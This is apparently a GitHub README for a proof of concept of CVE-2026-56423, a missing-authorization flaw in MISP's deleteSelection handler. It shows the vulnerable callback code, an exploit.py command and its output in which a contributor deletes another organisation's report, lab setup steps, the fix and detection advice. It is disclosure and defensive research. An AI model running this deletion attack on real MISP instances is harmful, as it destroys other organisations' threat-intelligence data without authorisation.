BiiTts/CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

GitHub: BiiTts/CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

针对 MISP deleteSelection 越权删除漏洞(CVE-2026-56423,CVSS 8.8)的概念验证工具,含利用脚本、实验室环境和修复对照。

Stars: 0 | Forks: 0

# CVE-2026-56423 — MISP `deleteSelection` 越权访问漏洞 针对 MISP 批量删除流程中缺失授权缺陷的概念验证。 此缺陷存在于 **Event Reports** 和 **Sharing Groups** 中。`deleteSelection` 处理程序使用一个回调函数对每个选定的项目进行授权,但该回调函数忽略了项目本身,返回的是调用者的**全局角色权限**(`perm_add` / `perm_sharing_group`),而不是进行基于对象的所有权检查。因此,低权限的 **contributor**(默认的 "User" 角色)可以提交属于**任何组织**的报告 ID/UUID,并在全实例范围内对其进行硬删除,尽管受严格保护的单个对象 `delete` 操作会拒绝完全相同的请求。 | | | |---|---| | **CVE** | CVE-2026-56423 | | **产品** | MISP (Malware Information Sharing Platform) core | | **受影响版本** | MISP CE/EE ≤ 2.5.41 | | **修复版本** | 2.5.42 | | **分类** | CWE-862 — 缺失授权(对象级别的访问控制失效) | | **CVSS 3.1** | 8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) | | **认证** | 已认证,低权限(任何具有 `perm_add` 的角色,例如 "User") | | **发布日期** | 2026-06-22 | | **状态** | **已确认** — contributor 在 2.5.40 版本上删除了其他组织的报告;在 2.5.42 版本上被拒绝 | ## 根本原因 `app/Controller/EventReportsController.php` (标签 v2.5.40): ``` public function deleteSelection($id = null) { return $this->CRUD->deleteSelection($id, [ 'modelName' => 'EventReport', ... 'checkModifyCallback' => function($itemId) { return $this->userRole['perm_add']; // ignores $itemId → global role bool }, ]); } ``` `CRUDComponent::deleteSelection` 会对每个选定的 ID 调用此 `checkModifyCallback`,并在其返回 true 时删除该对象: ``` $canModify = call_user_func($options['checkModifyCallback'], $itemId, $item); if (!$canModify) { $fails[] = $cid; continue; } if ($Model->delete($itemId)) { $successes[] = $cid; } ``` 因为该回调函数返回的是 `$this->userRole['perm_add']` —— 一个**对于默认的 "User" 角色为 true** 的全局布尔值 —— 所以目标报告的所有权从未被检查过。相比之下,针对单个对象的 `delete($id)` 操作正确调用了 `EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete')` 并会拒绝外部报告。 `SharingGroupsController::deleteSelection` 也存在使用 `perm_sharing_group` 的相同缺陷。 2.5.42 中的修复(提交 `ada02fa`, `f99b3f1`)将该回调替换为了基于单项的 `EventReport::fetchIfAuthorized($user, $itemId, 'delete')`。 请参阅 [`ANALYSIS.md`](ANALYSIS.md) 获取完整的分析过程。 ## 前置条件(如实记录) 1. 攻击者拥有任何角色具有 `perm_add` 权限的账号 —— 即内置的 **User** 角色,该角色在多组织实例中授予给普通的 contributor。 2. `MISP.enable_themes = true`。`deleteSelection` 操作在 ACL 中受 `AND(theming_enabled, perm_add)` 限制,其中 `theming_enabled` 映射到 `MISP.enable_themes` 设置。此设置**默认关闭**,但它是一个正常的 UI 功能标志,在许多实例中都会启用(它为 v2 索引/列表 UI 提供支持)。如果禁用此设置,该操作会在有缺陷的回调运行之前返回 HTTP 403。 ## 漏洞利用 ``` python3 exploit.py https://127.0.0.1:443 \ --attacker-key \ --admin-key \ --report-id ``` ``` [1] contributor legit delete/2 -> HTTP 404 (DENIED (expected)) [2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...} [+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection ``` ## 复现步骤 ``` cd lab ./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report source /tmp/misp_poc.env python3 ../exploit.py https://127.0.0.1:443 \ --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID" # 修补后的 build 拒绝相同的 request: CORE_RUNNING_TAG=v2.5.42 ./setup.sh ./teardown.sh ``` ## 漏洞/修复边界(根据实际测试) | 请求(低权限 contributor,外部报告) | v2.5.40 | v2.5.42 | |---|---|---| | 受正确保护的 `delete/{id}` | 404 拒绝 | 404 拒绝 | | **对同一报告的 `deleteSelection`** | **200 — 已硬删除** | **403 — "Could not delete";报告完好无损** | 相同的请求在修复前后从成功变为拒绝,而受正确保护的基于对象的删除操作在两者中均被拒绝 —— 这证明该漏洞在于 `deleteSelection` 中缺失了基于对象的授权,而不是配置错误的账号。 完整记录见 [`EVIDENCE.txt`](EVIDENCE.txt)。 ## 影响 共享 MISP 实例上的任何低权限用户都可以不可逆地硬删除 Event Reports(附加在威胁情报事件上的分析师叙述)以及属于**其他组织**的 Sharing Groups,且影响范围为整个实例。这是对 CERT、ISAC 和 SOC 所依赖的威胁情报平台的一种跨租户完整性/可用性破坏。 ## 修复方案 - 将 MISP 升级到 **2.5.42** 或更高版本。 - 该修复对每个选定的项目强制执行 `EventReport::fetchIfAuthorized($user, $itemId, 'delete')`;同样的模式也应用于 Sharing Groups。 ## 检测 审计 MISP 日志中的 `EventReports/deleteSelection`(以及 `SharingGroups/deleteSelection`)请求,查看操作用户的组织是否与被删除对象所属的组织不同。 ## 鸣谢 研究与 PoC 由 Caio Fabrício ([@BiiTts](https://github.com/BiiTts)) 完成。 ## 许可证 MIT — 详见 [LICENSE](LICENSE)。
标签:Maven, PoC, Web安全, 应用安全, 暴力破解, 漏洞验证, 蓝队分析, 请求拦截, 越权漏洞, 逆向工具